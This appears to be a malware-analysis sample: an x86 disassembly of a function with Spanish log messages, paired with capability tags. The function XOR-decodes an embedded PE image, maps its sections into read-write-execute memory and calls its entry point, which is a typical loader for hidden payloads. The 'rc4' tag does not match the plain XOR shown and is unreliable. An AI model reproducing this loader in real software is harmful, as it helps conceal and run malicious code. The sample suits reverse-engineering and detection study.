Function at 0x4014fa
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 prga
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x44
mov dword [esp], str.Iniciando_ejecucin...
call sym.WriteLog_char_const_
mov dword [ebp - 0x14], pe_nt_image_headers32
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x5000
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40155a
mov dword [esp], str.Error_al_asignar_memoria_para_descifrado
call sym.WriteLog_char_const_
mov eax, 1
jmp 0x401781
mov eax, dword [ebp - 0x18]
mov edx, 0x404020
mov ecx, 0x5000
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0x4fff
ja 0x4015a5
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
add eax, edx
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0xc]
add edx, ecx
movzx edx, byte [edx]
xor edx, 0xffffff80
mov byte [eax], dl
add dword [ebp - 0xc], 1
jmp 0x40157e
mov dword [esp], str.Datos_descifrados
call sym.WriteLog_char_const_
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x50]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40162d
mov dword [esp], str.Error_al_asignar_memoria_ejecutable
call sym.WriteLog_char_const_
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
mov eax, 1
jmp 0x401781
mov dword [esp], str.Memoria_asignada
call sym.WriteLog_char_const_
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x54]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x2c]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [ebp - 0x2c]
add eax, edx
add eax, 0x18
mov dword [ebp - 0x24], eax
mov word [ebp - 0xe], 0
movzx edx, word [ebp - 0xe]
mov eax, dword [ebp - 0x2c]
movzx eax, word [eax + 6]
movzx eax, ax
cmp edx, eax
jge 0x401715
movzx edx, word [ebp - 0xe]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov eax, dword [eax + 0x10]
test eax, eax
je 0x401705
movzx edx, word [ebp - 0xe]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov ecx, dword [eax + 0x10]
movzx edx, word [ebp - 0xe]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x18]
lea ebx, [edx + eax]
movzx edx, word [ebp - 0xe]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._memcpy
movzx eax, word [ebp - 0xe]
add eax, 1
mov word [ebp - 0xe], ax
jmp 0x401670
mov dword [esp], str.Secciones_copiadas
call sym.WriteLog_char_const_
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x28]
add eax, edx
mov dword [ebp - 0x28], eax
mov dword [esp], str.Ejecutando...
call sym.WriteLog_char_const_
mov eax, dword [ebp - 0x28]
call eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret 0x10